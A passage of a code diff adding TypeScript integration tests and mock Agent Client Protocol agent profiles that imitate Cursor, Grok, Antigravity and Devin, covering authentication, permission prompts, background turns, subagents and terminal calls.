call.method.startsWith("x.ai/")), + ).toBe(false); + }, + TEST_TIMEOUT, + ); + + it( + "grok: a background wake turn after the response, and the prompt_complete race", + async () => { + let raw = ""; + const harness = start( + grokProfile(), + { + extNotifications: [ + "_x.ai/session/prompt_complete", + "_x.ai/session_notification", + "_x.ai/queue/changed", + "_x.ai/task_completed", + ], + }, + (chunk) => (raw += chunk), + ); + await harness.initialize(); + const { sessionId } = await harness.newSession(); + const wakeId = "task-completed-00000000-0000-4000-8000-000000000002"; + + await harness.prompt(sessionId, "run it in the background", { + promptId: "p-bg", + }); + const wakeEnd = await waitFor( + () => + harness.calls.find( + (call) => + call.method === "_x.ai/session_notification" && + (call.params as { update: { prompt_id?: string } }).update + .prompt_id === wakeId, + ), + "wake turn_completed", + ); + expect(wakeEnd.params).toMatchObject({ + sessionId, + update: { sessionUpdate: "turn_completed", stop_reason: "end_turn" }, + }); + await harness.settle(); + const wake = harness.updates.filter((n) => n._meta?.promptId === wakeId); + expect(wake.map((n) => n.update.sessionUpdate)).toEqual([ + "agent_thought_chunk", + "agent_message_chunk", + ]); + // Only the user turn completes through prompt_complete. + expect( + harness.calls + .filter((call) => call.method === "_x.ai/session/prompt_complete") + .map((call) => (call.params as { promptId: string }).promptId), + ).toEqual(["p-bg"]); + // On the wire every wake frame follows the prompt response. + const frames = splitLfLines(raw).map( + (line) => JSON.parse(line) as Record, + ); + const responseAt = frames.findIndex( + (frame) => + (frame.result as { _meta?: { promptId?: string } } | undefined)?._meta + ?.promptId === "p-bg", + ); + const firstWakeAt = frames.findIndex((frame) => + JSON.stringify(frame).includes(wakeId), + ); + expect(responseAt).toBeGreaterThan(-1); + expect(firstWakeAt).toBeGreaterThan(responseAt); + + // The race: prompt_complete arrives and the prompt request never answers. + const racing = harness.prompt(sessionId, "race me", { + promptId: "p-race", + }); + await waitFor( + () => + harness.calls.find( + (call) => + call.method === "_x.ai/session/prompt_complete" && + (call.params as { promptId: string }).promptId === "p-race", + ), + "race prompt_complete", + ); + await harness.agent.notify("session/cancel", { + sessionId, + _meta: { cancelTrigger: "ctrl_c" }, + }); + expect(await withTimeout(racing, 5_000, "grok race prompt")).toEqual({ + stopReason: "cancelled", + }); + }, + TEST_TIMEOUT, + ); + + it( + "grok: methodPrefix '' sends the canonical x.ai/* names", + async () => { + const harness = start(grokProfile({ methodPrefix: "" }), { + extNotifications: [ + "x.ai/session/prompt_complete", + "x.ai/session_notification", + "x.ai/queue/changed", + ], + }); + await harness.initialize(); + const { sessionId } = await harness.newSession(); + await harness.prompt(sessionId, "hi", { promptId: "p-1" }); + await waitFor( + () => + harness.calls.find( + (call) => call.method === "x.ai/session/prompt_complete", + ), + "canonical prompt_complete", + ); + expect(harness.calls.some((call) => call.method.startsWith("_"))).toBe( + false, + ); + }, + TEST_TIMEOUT, + ); + + it( + "antigravity: v2 version number, browser sign-in on authenticate, interaction questions", + async () => { + let stdout = ""; + const permissions: acp.RequestPermissionRequest[] = []; + const harness = start( + antigravityProfile(), + { + readTextFile: () => ({ content: "# Readme" }), + requestPermission: (params) => { + permissions.push(params); + return { + outcome: { + outcome: "selected", + optionId: params.toolCall.toolCallId.startsWith("interaction_") + ? "dev" + : "allow-once", + }, + }; + }, + }, + (chunk) => (stdout += chunk), + ); + const init = await harness.initialize(); + expect(init.protocolVersion).toBe(2); + expect(stdout).not.toContain("Open the following link"); + + // authenticate prints the URL, then waits for the OAuth redirect. + let signedIn = false; + const auth = harness.agent + .request("authenticate", { methodId: "oauth-personal" }) + .then((result) => { + signedIn = true; + return result; + }); + const link = await waitFor( + () => + /Open the following link to authenticate the ACP server: (\S+)/.exec( + stdout, + )?.[1], + "sign-in URL", + ); + const signIn = new URL(link); + expect(signIn.origin + signIn.pathname).toBe( + "https://accounts.google.com/o/oauth2/v2/auth", + ); + const redirect = signIn.searchParams.get("redirect_uri") ?? ""; + expect(redirect).toMatch(/^http:\/\/127\.0\.0\.1:\d+\/$/); + const early = await harness.newSession().catch((error: unknown) => error); + expect((early as acp.RequestError).code).toBe(-32000); + expect(signedIn).toBe(false); + + const callback = await fetch( + `${redirect}?state=mock-state&code=4%2Fmock-code&scope=openid&iss=${encodeURIComponent("https://accounts.google.com")}`, + ); + expect(callback.status).toBe(200); + expect(await withTimeout(auth, 5_000, "authenticate")).toEqual({}); + + const resumed = await harness.agent.request("session/resume", { + sessionId: "agy-1", + cwd: "/work/repo", + }); + expect(resumed.modes?.availableModes.map((mode) => mode.id)).toEqual([ + "default", + "auto_edit", + "yolo", + ]); + await harness.agent.request("session/set_mode", { + sessionId: "agy-1", + modeId: "yolo", + }); + expect(await harness.prompt("agy-1", "go")).toEqual({ + stopReason: "end_turn", + }); + expect(permissions.map((request) => request.toolCall.toolCallId)).toEqual( + ["interaction_1", "edit-1"], + ); + expect(permissions[1]?._meta?.["agy.security.warning"]).toBeString(); + expect(harness.calls[0]).toEqual({ + method: "fs/read_text_file", + params: { sessionId: "agy-1", path: "/work/repo/README.md" }, + }); + + // An API-key method does not open the browser. + const before = stdout; + await harness.agent.request("authenticate", { + methodId: "gemini-api-key", + }); + expect(stdout.slice(before.length)).not.toContain("Open the following"); + }, + TEST_TIMEOUT, + ); + + it( + "devin: cognition _meta on updates, foreign subagent sessions and client terminals", + async () => { + const harness = start(devinProfile(), { + createTerminal: () => ({ terminalId: "t-1" }), + waitForTerminalExit: () => ({ exitCode: 0 }), + terminalOutput: () => ({ + output: "pass", + truncated: false, + exitStatus: { exitCode: 0 }, + }), + releaseTerminal: () => ({}), + }); + await harness.initialize({ + clientCapabilities: { + terminal: true, + _meta: { + "cognition.ai/subagentSupport": true, + "cognition.ai/messageGrouping": true, + }, + }, + }); + const session = await harness.newSession("/work/repo"); + await harness.prompt(session.sessionId, "go"); + await harness.settle(); + + const sessions = new Set(harness.updates.map((n) => n.sessionId)); + expect([...sessions].sort()).toEqual([session.sessionId, "sub-1"].sort()); + const subagent = harness.updates.find((n) => n.sessionId === "sub-1"); + expect(subagent?.update._meta).toEqual({ + "cognition.ai/subagent_context": { parentAgentId: session.sessionId }, + }); + const started = harness.updates.find( + (n) => + n.update.sessionUpdate === "tool_call" && + n.update.toolCallId === "devin-sub-1", + ); + expect(started?.update._meta?.["cognition.ai/inferenceToolName"]).toBe( + "spawn_subagent", + ); + expect(harness.calls.map((call) => call.method)).toEqual([ + "terminal/create", + "terminal/wait_for_exit", + "terminal/output", + "terminal/release", + ]); + }, + TEST_TIMEOUT, + ); +}); diff --git a/scripts/fixtures/agents/acp/profiles.ts b/scripts/fixtures/agents/acp/profiles.ts new file mode 100644 index 00000000..eb8e59c2 --- /dev/null +++ b/scripts/fixtures/agents/acp/profiles.ts @@ -0,0 +1,800 @@ +// Starting scenarios for the ACP agents P12/P13 integrate. They reproduce the +// wire traits recorded in the design and recon notes (t3code drivers, current +// Sentinel Cursor code) and, for Grok, t3code's recordings of the real CLI. +// They are still scripts, not replays, so engine tests should assert on +// behaviour, not on these exact values. +import { + STANDARD_PERMISSION_OPTIONS, + selectConfigOption, + type AcpLegacyModelState, + type AcpMockScenario, + type AcpMockStep, +} from "./scenario"; + +const cursorModes = { + currentModeId: "agent", + availableModes: [ + { id: "agent", name: "Agent" }, + { id: "plan", name: "Plan" }, + { id: "ask", name: "Ask" }, + ], +}; + +function cursorOptions(model: string, effort?: string) { + return [ + selectConfigOption({ + id: "mode", + name: "Mode", + category: "mode", + currentValue: "agent", + values: ["agent", "plan", "ask"], + }), + selectConfigOption({ + id: "model", + name: "Model", + category: "model", + currentValue: model, + values: [ + { value: "default", name: "Auto" }, + { value: "composer-2", name: "Composer 2" }, + { value: "gpt-5.4", name: "GPT-5.4" }, + ], + }), + ...(effort + ? [ + selectConfigOption({ + id: "reasoning", + name: "Reasoning", + category: "thought_level", + currentValue: effort, + values: ["none", "low", "medium", "high", "extra-high"], + }), + ] + : []), + ]; +} + +/** + * Cursor `agent acp`: lazy `cursor_login`, mode and model config options whose + * effort list depends on the model, and the `cursor/*` extension methods. + * Prompts containing "plan" or "question" run the extension scripts. + */ +export function cursorProfile(): AcpMockScenario { + return { + initialize: { + agentInfo: { name: "cursor-agent", version: "2026.08.04" }, + agentCapabilities: { + loadSession: true, + promptCapabilities: { + image: true, + audio: false, + embeddedContext: false, + }, + mcpCapabilities: { http: true, sse: true }, + }, + authMethods: [ + { + id: "cursor_login", + name: "Cursor Login", + description: "Log in with Cursor", + }, + ], + }, + auth: { requireAuth: true, acceptMethodIds: ["cursor_login"] }, + session: { + modes: cursorModes, + configOptions: cursorOptions("default"), + configOptionsAfterSet: { + "model=gpt-5.4": cursorOptions("gpt-5.4", "medium"), + }, + afterNew: [ + { + sessionUpdate: "available_commands_update", + availableCommands: [ + { name: "review", description: "Review changes" }, + ], + }, + ], + }, + prompts: [ + { + match: "plan", + steps: [ + { + type: "extRequest", + method: "cursor/create_plan", + params: { + toolCallId: "cursor-plan-1", + name: "Refactor", + overview: "Split the module", + plan: "# Plan\n\n1. Split\n2. Test", + todos: [{ content: "Split" }, { content: "Test" }], + }, + }, + { + // A request whose answer Cursor ignores (extMethod), like + // cursor/task and cursor/generate_image. + type: "extRequest", + method: "cursor/update_todos", + params: { + toolCallId: "cursor-todos-1", + todos: [ + { id: "1", content: "Split", status: "in_progress" }, + { id: "2", content: "Test", status: "pending" }, + ], + merge: false, + }, + }, + ], + }, + { + match: "question", + steps: [ + { + type: "extRequest", + method: "cursor/ask_question", + params: { + toolCallId: "cursor-question-1", + title: "Setup", + questions: [ + { + id: "db", + prompt: "Which database?", + options: [ + { id: "pg", label: "Postgres" }, + { id: "sqlite", label: "SQLite" }, + ], + }, + { + id: "extras", + prompt: "Extras?", + allowMultiple: true, + options: [ + { id: "auth", label: "Auth" }, + { id: "cache", label: "Cache" }, + ], + }, + ], + }, + echo: true, + }, + ], + }, + { + steps: [ + { type: "thought", text: "Looking at the file." }, + { + type: "toolCall", + toolCallId: "cursor-read-1", + title: "Read file", + kind: "read", + status: "pending", + locations: [{ path: "{{cwd}}/README.md" }], + }, + { + type: "toolCallUpdate", + toolCallId: "cursor-read-1", + status: "completed", + }, + { + type: "toolCall", + toolCallId: "cursor-edit-1", + title: "Edit README.md", + kind: "edit", + status: "pending", + content: [ + { + type: "diff", + path: "{{cwd}}/README.md", + oldText: "old", + newText: "new", + }, + ], + }, + { + type: "requestPermission", + toolCall: { + toolCallId: "cursor-edit-1", + title: "Edit README.md", + kind: "edit", + }, + options: [ + { optionId: "allow-once", name: "Allow", kind: "allow_once" }, + { + optionId: "allow-always", + name: "Always allow", + kind: "allow_always", + }, + { optionId: "reject-once", name: "Reject", kind: "reject_once" }, + ], + branches: { + "reject-once": [ + { + type: "toolCallUpdate", + toolCallId: "cursor-edit-1", + status: "failed", + }, + ], + "*": [ + { + type: "toolCallUpdate", + toolCallId: "cursor-edit-1", + status: "completed", + }, + ], + }, + }, + { type: "text", text: "Done." }, + ], + }, + ], + }; +} + +const grokEfforts = [ + { + id: "xhigh", + value: "xhigh", + label: "Extra High", + description: "Maximum reasoning for the hardest tasks.", + default: false, + }, + { + id: "high", + value: "high", + label: "High", + description: "Thorough reasoning and quality. Recommended.", + default: true, + }, + { + id: "medium", + value: "medium", + label: "Medium", + description: "Strong quality with a faster turnaround.", + default: false, + }, + { + id: "low", + value: "low", + label: "Low", + description: "Fastest responses. Best for simple tasks.", + default: false, + }, +]; + +function grokModel( + modelId: string, + name: string, + efforts: typeof grokEfforts, + description?: string, +): AcpLegacyModelState["availableModels"][number] { + return { + modelId, + name, + ...(description ? { description } : {}), + _meta: { + totalContextTokens: 500000, + agentType: "grok-build-plan", + supportsReasoningEffort: true, + reasoningEffort: "high", + reasoningEfforts: efforts, + }, + }; +} + +const grokModelState: AcpLegacyModelState = { + currentModelId: "grok-4.7", + availableModels: [ + grokModel( + "grok-4.7", + "Grok 4.7", + grokEfforts, + "SpaceXAI's latest frontier model", + ), + grokModel( + "grok-4.7-build-fast", + "Grok 4.7 Fast", + grokEfforts, + "Fast variant. 2x the price.", + ), + // The recording lists three efforts for the older model. + grokModel("grok-4.5", "Grok 4.5", grokEfforts.slice(1)), + ], +}; + +/** + * Grok Build (`grok agent stdio`), modelled on t3code's recordings of the + * released 1.0.41 CLI (apps/server/src/orchestration-v2/testkit/fixtures/ + * {simple,plan_questions,grok_background_bash}/grok_transcript.ndjson, MIT). + * + * - Extension methods carry the leading underscore (`_x.ai/...`). Pass + * `{methodPrefix: ""}` for the canonical `x.ai/...` names that unreleased + * source builds send; t3code accepts both. + * - `initialize` has no `agentInfo`; the model picker state is in + * `_meta.modelState`, with `reasoningEfforts` as objects. + * - `session/new` answers legacy `models` plus `model` / `reasoning_effort` + * config options. + * - Every turn frame carries params-level `_meta.promptId` (the client's + * `_meta.promptId`). The turn ends with `_x.ai/session_notification` + * `turn_completed`, `_x.ai/session/prompt_complete`, then the prompt + * response. + * + * Prompts containing "rate" fail with the -32003 usage limit, "plan" runs + * `_x.ai/exit_plan_mode`, "ask" runs `_x.ai/ask_user_question`, + * "background" ends the turn and then runs a background-task wake turn + * tagged `task-completed-*`, and "race" settles through `prompt_complete` + * while the prompt request never answers (the race t3code guards against). + */ +export function grokProfile( + options: { methodPrefix?: "_" | "" } = {}, +): AcpMockScenario { + const prefix = options.methodPrefix ?? "_"; + const x = (name: string) => `${prefix}x.ai/${name}`; + const turnMeta = (updateType: string) => ({ + promptId: "{{promptId}}", + updateType, + }); + const turnEnd = (promptId: string): AcpMockStep[] => [ + { + type: "extNotification", + method: x("session_notification"), + params: { + sessionId: "{{sessionId}}", + update: { + sessionUpdate: "turn_completed", + prompt_id: promptId, + stop_reason: "end_turn", + }, + }, + }, + { + type: "extNotification", + method: x("queue/changed"), + params: { sessionId: "{{sessionId}}", entries: [] }, + }, + ]; + const promptComplete: AcpMockStep = { + type: "extNotification", + method: x("session/prompt_complete"), + params: { + sessionId: "{{sessionId}}", + promptId: "{{promptId}}", + stopReason: "end_turn", + agentResult: null, + }, + }; + const responseMeta = { + sessionId: "{{sessionId}}", + requestId: "{{requestId}}", + promptId: "{{promptId}}", + modelId: "grok-4.7", + }; + const working: AcpMockStep[] = [ + { + type: "extNotification", + method: x("queue/changed"), + params: { + sessionId: "{{sessionId}}", + entries: [], + runningPromptId: "{{promptId}}", + runningKind: "prompt", + }, + }, + { + type: "thought", + text: "The user wants a short answer.", + notificationMeta: turnMeta("AgentThoughtChunk"), + }, + { + type: "text", + text: "Working on it.", + notificationMeta: turnMeta("AgentMessageChunk"), + }, + ]; + const wakeId = "task-completed-00000000-0000-4000-8000-000000000002"; + const wakeMeta = (updateType: string) => ({ + promptId: wakeId, + updateType, + }); + + return { + initialize: { + response: { + protocolVersion: 1, + agentCapabilities: { + loadSession: true, + promptCapabilities: { + image: false, + audio: false, + embeddedContext: true, + }, + mcpCapabilities: { http: true, sse: true }, + sessionCapabilities: { list: {}, resume: {}, close: {} }, + auth: {}, + }, + authMethods: [ + { + id: "cached_token", + name: "cached_token", + description: "Cached token from ~/.grok/auth.json", + }, + { id: "grok.com", name: "Grok", description: "Sign in with Grok" }, + ], + _meta: { + defaultAuthMethodId: "cached_token", + agentVersion: "1.0.41", + modelState: grokModelState, + }, + }, + }, + session: { + models: grokModelState, + configOptions: [ + selectConfigOption({ + id: "model", + name: "Model", + category: "model", + currentValue: "grok-4.7", + values: grokModelState.availableModels.map((model) => ({ + value: model.modelId, + name: model.name, + })), + }), + selectConfigOption({ + id: "reasoning_effort", + name: "Reasoning Effort", + category: "thought_level", + currentValue: "high", + values: grokEfforts.map((effort) => ({ + value: effort.value, + name: effort.label, + description: effort.description, + })), + }), + ], + afterNew: [ + { + sessionUpdate: "available_commands_update", + availableCommands: [ + { + name: "compact", + description: + "Compress conversation history to save context window", + input: { hint: "optional context about what to preserve" }, + }, + { + name: "always-approve", + description: + "Toggle always-approve mode (skip all permission prompts)", + input: { hint: "on|off" }, + }, + ], + }, + ], + }, + prompts: [ + { + match: "rate", + steps: [ + { + type: "fail", + error: { + code: -32003, + message: "Rate limit exceeded", + data: { retryAfterSeconds: 60 }, + }, + }, + ], + }, + { + // No recording has exit_plan_mode on the wire; the wrapped params + // follow the recorded ask_user_question frame and t3code's schema. + match: "plan", + steps: [ + { + type: "extRequest", + method: x("exit_plan_mode"), + params: { + method: "x.ai/exit_plan_mode", + params: { + sessionId: "{{sessionId}}", + toolCallId: "exit-plan-mode-tool-call-1", + planContent: "# Plan\n\n- step", + }, + }, + }, + ...turnEnd("{{promptId}}"), + promptComplete, + ], + meta: responseMeta, + }, + { + match: "ask", + steps: [ + { + type: "extRequest", + method: x("ask_user_question"), + params: { + method: "x.ai/ask_user_question", + params: { + sessionId: "{{sessionId}}", + toolCallId: "ask-user-question-tool-call-1", + questions: [ + { + id: "approach", + question: "Which approach?", + multiSelect: null, + options: [ + { label: "Fast", description: "Ship it today." }, + { label: "Safe", description: "More tests." }, + ], + }, + ], + mode: "plan", + }, + }, + branches: { + accepted: [ + { + type: "text", + text: "Going with the answer.", + notificationMeta: turnMeta("AgentMessageChunk"), + }, + ], + cancelled: [{ type: "stop", stopReason: "cancelled" }], + }, + }, + ...turnEnd("{{promptId}}"), + promptComplete, + ], + meta: responseMeta, + }, + { + match: "background", + steps: [...working, ...turnEnd("{{promptId}}"), promptComplete], + meta: responseMeta, + // The wake turn arrives after the user turn ended; it never sends + // prompt_complete. + afterResponse: [ + { + type: "extNotification", + method: x("task_completed"), + params: { + sessionId: "{{sessionId}}", + update: { + sessionUpdate: "task_completed", + task_snapshot: { + task_id: "00000000-0000-4000-8000-000000000002", + command: "for i in 1 2 3; do sleep 8; echo tock $i; done", + }, + }, + }, + }, + { + type: "thought", + text: "The background task finished.", + notificationMeta: wakeMeta("AgentThoughtChunk"), + }, + { + type: "text", + text: "tock 3", + notificationMeta: wakeMeta("AgentMessageChunk"), + }, + ...turnEnd(wakeId), + ], + }, + { + match: "race", + steps: [ + ...working, + ...turnEnd("{{promptId}}"), + promptComplete, + { type: "hang" }, + ], + }, + { + steps: [...working, ...turnEnd("{{promptId}}"), promptComplete], + meta: responseMeta, + }, + ], + cancel: { stopReason: "cancelled" }, + }; +} + +/** + * Google Antigravity (`agy_acp_server`): protocol version 2 with the v1-shaped + * body, eager `oauth-personal` auth that prints the Google sign-in URL on + * stdout and waits for the OAuth redirect on its loopback listener, + * `session/resume`, permission modes as session modes, the thinking level in + * the model id, `interaction_` permission requests that are questions, and + * client fs reads. + */ +export function antigravityProfile(): AcpMockScenario { + return { + initialize: { + protocolVersion: 2, + agentInfo: { name: "antigravity-acp", version: "1.3.0" }, + agentCapabilities: { + loadSession: true, + promptCapabilities: { image: true, audio: true, embeddedContext: true }, + sessionCapabilities: { resume: {}, list: {}, close: {} }, + auth: { logout: {} }, + }, + authMethods: [ + { id: "oauth-personal", name: "Google account" }, + { id: "oauth-business", name: "Gemini Enterprise" }, + { id: "gemini-api-key", name: "Gemini API key" }, + { id: "agent-platform", name: "Vertex AI" }, + ], + }, + auth: { + requireAuth: true, + browserLogin: { + methodIds: ["oauth-personal", "oauth-business"], + stdoutLines: [ + "Open the following link to authenticate the ACP server: https://accounts.google.com/o/oauth2/v2/auth?client_id=mock&redirect_uri={{callbackUrlEncoded}}&response_type=code&scope=openid&state=mock-state", + ], + }, + }, + session: { + modes: { + currentModeId: "default", + availableModes: [ + { id: "default", name: "Default" }, + { id: "auto_edit", name: "Auto edit" }, + { id: "yolo", name: "YOLO" }, + ], + }, + configOptions: [ + selectConfigOption({ + id: "model", + name: "Model", + category: "model", + currentValue: "gemini-3.8-flash-medium", + values: [ + "gemini-3.8-flash-high", + "gemini-3.8-flash-medium", + "gemini-3.8-flash-low", + ], + }), + ], + }, + prompts: [ + { + steps: [ + { + type: "clientFs", + op: "read", + path: "{{cwd}}/README.md", + echo: true, + }, + { + type: "requestPermission", + toolCall: { + toolCallId: "interaction_1", + title: "Which branch should I use?", + }, + options: [ + { optionId: "main", name: "main", kind: "allow_once" }, + { optionId: "dev", name: "dev", kind: "allow_once" }, + ], + }, + { + type: "requestPermission", + toolCall: { + toolCallId: "edit-1", + title: "Write README.md", + kind: "edit", + }, + options: STANDARD_PERMISSION_OPTIONS.slice(0, 3), + meta: { + "agy.security.warning": + "Allows edits for the rest of this thread.", + }, + }, + { type: "text", text: "Done." }, + ], + }, + ], + cancel: { stopReason: "cancelled" }, + }; +} + +/** + * Devin (ACP registry `devin`): Cognition `_meta` on updates (streaming + * message ids, subagent context and lifecycle, inferred tool names) and + * commands run through client terminals. + */ +export function devinProfile(): AcpMockScenario { + return { + initialize: { + agentInfo: { name: "devin", version: "3000.11.3" }, + agentCapabilities: { + loadSession: true, + promptCapabilities: { + image: true, + audio: false, + embeddedContext: true, + }, + sessionCapabilities: { list: {} }, + }, + authMethods: [{ id: "devin-login", name: "Devin login" }], + }, + prompts: [ + { + steps: [ + { + type: "text", + text: "Planning. ", + meta: { "cognition.ai/streamingMessageId": "devin-msg-1" }, + }, + { + type: "toolCall", + toolCallId: "devin-sub-1", + title: "Tool", + kind: "other", + status: "in_progress", + meta: { + "cognition.ai/inferenceToolName": "spawn_subagent", + "cognition.ai/subagent_started": { + agentId: "sub-1", + task: "Write tests", + title: "Tests", + model: "swe-1", + }, + }, + }, + { + type: "update", + sessionId: "sub-1", + update: { + sessionUpdate: "agent_message_chunk", + content: { type: "text", text: "subagent output" }, + _meta: { + "cognition.ai/subagent_context": { + parentAgentId: "{{sessionId}}", + }, + }, + }, + }, + { + type: "toolCallUpdate", + toolCallId: "devin-sub-1", + status: "completed", + meta: { + "cognition.ai/subagent_completed": { + agentId: "sub-1", + success: true, + summary: "Added tests", + }, + }, + }, + { + type: "toolCall", + toolCallId: "devin-exec-1", + title: "Run tests", + kind: "execute", + status: "in_progress", + }, + { + type: "clientTerminal", + command: "bun", + args: ["test"], + cwd: "{{cwd}}", + toolCallId: "devin-exec-1", + }, + { + type: "toolCallUpdate", + toolCallId: "devin-exec-1", + status: "completed", + }, + { + type: "text", + text: "All green.", + meta: { "cognition.ai/streamingMessageId": "devin-msg-2" }, + }, + ], + }, + ], + }; +} diff --git a/scripts/fixtures/agents/acp/scenario.ts b/scripts/fixtures/agents/acp/scenario.ts new file mode 100644 index 00000000..3bb122f9 --- /dev/null +++ b/scripts/fixtures/agents/acp/scenario.ts @@ -0,0 +1,441 @@ +// Scenario contract for scripts/fixtures/agents/acp/mock-agent.ts. The README +// next to this file documents every field with examples; keep both in sync. +import type * as acp from "@agentclientprotocol/sdk"; + +import type { JsonObject } from "../shared/fixture-io"; + +export type { JsonObject }; + +/** A JSON-RPC error the mock answers with. */ +export type AcpMockError = { code: number; message: string; data?: unknown }; + +/** + * Auth method as an agent advertises it. The stable 1.7 schema only knows + * `agent` (untyped or `type:"agent"`) and `terminal`; `env_var` is the + * registry/legacy shape (`vars`, optional `link`) that agents still send, so + * the mock passes every entry through untouched. + */ +export type AcpMockAuthMethod = + | (acp.AuthMethodAgent & { type?: "agent" }) + | (acp.AuthMethodTerminal & { type: "terminal" }) + | { + type: "env_var"; + id: string; + name: string; + description?: string | null; + vars: Array<{ name: string; label?: string; optional?: boolean }>; + link?: string | null; + _meta?: JsonObject | null; + } + | JsonObject; + +/** The unstable, pre-config-options model picker (`session/set_model`). */ +export type AcpLegacyModelState = { + currentModelId: string; + availableModels: Array<{ + modelId: string; + name: string; + description?: string | null; + _meta?: JsonObject | null; + }>; +}; + +/** + * The draft ACP v2 side of a dual-version mock (`initialize.versions` + * includes 2). It is deliberately small, like the SDK's + * `dist/examples/dual-version-agent.js`: `session/new`, a `session/prompt` + * that answers `{messageId}` and then streams `user_message`, + * `state_update` running, one `agent_message` (the selected script's `text` + * steps joined) and `state_update` idle, and `session/cancel`. + */ +export type AcpMockV2Agent = { + /** `info` on the v2 initialize response. Default {@link DEFAULT_AGENT_INFO}. */ + info?: acp.Implementation; + /** `capabilities` on the v2 initialize response. Default `{session:{}}`. */ + capabilities?: JsonObject; + /** `_meta` on the v2 initialize response. */ + meta?: JsonObject; +}; + +export type AcpMockInitialize = { + /** + * Protocol versions this agent serves. Default `[1]`: the v1 handler + * answers every client. With 2 in the list, the connection goes through + * the SDK's `agentProtocolRouter()` (as `dual-version-agent.js` does): it + * picks the highest listed version that does not exceed the client's + * request, rewrites the initialize params for it and rejects clients below + * every listed version. v1 clients then reach the v1 mock, v2 clients the + * small v2 agent described by {@link AcpMockV2Agent}. + */ + versions?: Array<1 | 2>; + /** The v2 agent used when `versions` includes 2. */ + v2?: AcpMockV2Agent; + /** Defaults to the SDK's `PROTOCOL_VERSION` (1). */ + protocolVersion?: number; + /** Defaults to {@link DEFAULT_AGENT_INFO}; `null` sends `agentInfo: null`. */ + agentInfo?: acp.Implementation | null; + /** Replaces {@link DEFAULT_AGENT_CAPABILITIES} as a whole when set. */ + agentCapabilities?: acp.AgentCapabilities | JsonObject; + authMethods?: AcpMockAuthMethod[]; + /** `_meta` on the initialize response. */ + meta?: JsonObject; + /** + * Echo the client's raw `initialize` params (`_meta`, `clientInfo`, + * `clientCapabilities`, `protocolVersion`) under + * `_meta["sentinel.mock/request"]` of the response. + */ + echoMeta?: boolean; + /** Respond with exactly this object (e.g. Antigravity's v2 legacy shape). */ + response?: JsonObject; +}; + +export type AcpMockAuth = { + /** `session/new|load|resume|fork` fail with -32000 until `authenticate` succeeds. */ + requireAuth?: boolean; + /** Method ids `authenticate` accepts. Default: any id. */ + acceptMethodIds?: string[]; + /** Error returned by `authenticate` for ids outside `acceptMethodIds`. */ + rejectError?: AcpMockError; + /** Extra text for the -32000 "Authentication required" message. */ + message?: string; + /** `data` of the -32000 error. */ + errorData?: unknown; + /** Delay before `authenticate` responds (browser login stand-in). */ + delayMs?: number; + /** Browser sign-in while `authenticate` is pending (Antigravity). */ + browserLogin?: AcpMockBrowserLogin; +}; + +/** + * Browser sign-in as `agy_acp_server` does it: once `authenticate` arrives, + * the agent prints the sign-in URL on stdout and waits for the OAuth + * redirect on its own loopback listener; only then does `authenticate` + * answer. + */ +export type AcpMockBrowserLogin = { + /** Methods that sign in through the browser. Default: every accepted method. */ + methodIds?: string[]; + /** + * Raw stdout lines written when `authenticate` arrives. `{{callbackUrl}}` + * is the listener's `http://127.0.0.1:/`, `{{callbackUrlEncoded}}` + * the same URL-encoded (for a `redirect_uri` query parameter), and + * `{{methodId}}` the requested method. + */ + stdoutLines?: string[]; + /** + * Default true: start a 127.0.0.1 HTTP listener on a free port. + * `authenticate` succeeds on a GET carrying `code` and fails (-32000) on + * one carrying `error`. False answers right after printing the lines. + */ + callback?: boolean; + /** Fail `authenticate` (-32000) when no callback arrived in time. */ + timeoutMs?: number; +}; + +export type AcpMockSessionConfig = { + /** Ids handed out by `session/new` and `session/fork`, in order; then `mock-session-`. */ + ids?: string[]; + modes?: acp.SessionModeState | null; + configOptions?: Array | null; + /** Legacy unstable `models` state on new/load/resume responses. */ + models?: AcpLegacyModelState | null; + /** `_meta` on new/load/resume/fork responses. */ + meta?: JsonObject; + /** Raw `session/update` payloads emitted right after `session/new` responds. */ + afterNew?: JsonObject[]; + load?: { + /** Raw updates replayed through `session/update` before the response. */ + replay?: JsonObject[]; + replayDelayMs?: number; + /** When set, loading any other id fails with `unknownSessionError`. */ + knownSessionIds?: string[]; + unknownSessionError?: AcpMockError; + /** Fail every load with this error. */ + error?: AcpMockError; + }; + resume?: { + knownSessionIds?: string[]; + unknownSessionError?: AcpMockError; + error?: AcpMockError; + }; + /** `session/list` result. Default: the sessions this process created. */ + list?: acp.SessionInfo[]; + /** Emit `current_mode_update` after `session/set_mode`. */ + emitCurrentModeUpdate?: boolean; + /** Emit `config_option_update` after `session/set_config_option`. */ + emitConfigOptionUpdate?: boolean; + /** + * Replaces the session's whole option list after `set_config_option`, keyed + * by `"="` (per-model effort lists, like Cursor). + */ + configOptionsAfterSet?: Record< + string, + Array + >; +}; + +/** One `session/prompt` turn. */ +export type AcpMockPromptScript = { + /** Picks this script when the prompt text contains `match`. */ + match?: string; + steps?: AcpMockStep[]; + /** Default `end_turn`; `null` responds `{}` without a stopReason. */ + stopReason?: acp.StopReason | null; + usage?: acp.Usage; + /** `_meta` on the prompt response. */ + meta?: JsonObject; + /** Fail the prompt request with this error (after the steps ran). */ + error?: AcpMockError; + /** + * Steps run once the prompt response has gone out: agent-initiated + * traffic after the turn, such as Grok's background-task wake turns. A + * `session/cancel` does not stop them. + */ + afterResponse?: AcpMockStep[]; +}; + +/** Step lists keyed by outcome; `"*"` is the fallback. */ +export type AcpMockBranches = Record; + +/** `_meta` on the request the step sends. */ +type StepMeta = { meta?: JsonObject }; + +/** + * Metadata on a `session/update` step. `meta` becomes `update._meta`; + * `notificationMeta` becomes `params._meta`, next to `sessionId` and + * `update` (where Grok puts `promptId`, e.g. `task-completed-*` on + * background wake turns). + */ +type UpdateMeta = { meta?: JsonObject; notificationMeta?: JsonObject }; + +export type AcpMockStep = + /** Any `session/update` payload, sent as-is (unknown kinds included). */ + | ({ type: "update"; update: JsonObject; sessionId?: string } & UpdateMeta) + | ({ type: "text"; text: string; messageId?: string } & UpdateMeta) + | ({ type: "thought"; text: string; messageId?: string } & UpdateMeta) + | ({ + type: "image"; + data: string; + mimeType: string; + uri?: string; + } & UpdateMeta) + | ({ + type: "toolCall"; + toolCallId: string; + title: string; + kind?: acp.ToolKind; + status?: acp.ToolCallStatus; + rawInput?: unknown; + rawOutput?: unknown; + locations?: acp.ToolCallLocation[]; + content?: Array; + } & UpdateMeta) + /** Only the fields present are sent: a partial update, status optional. */ + | ({ + type: "toolCallUpdate"; + toolCallId: string; + title?: string | null; + kind?: acp.ToolKind | null; + status?: acp.ToolCallStatus | null; + rawInput?: unknown; + rawOutput?: 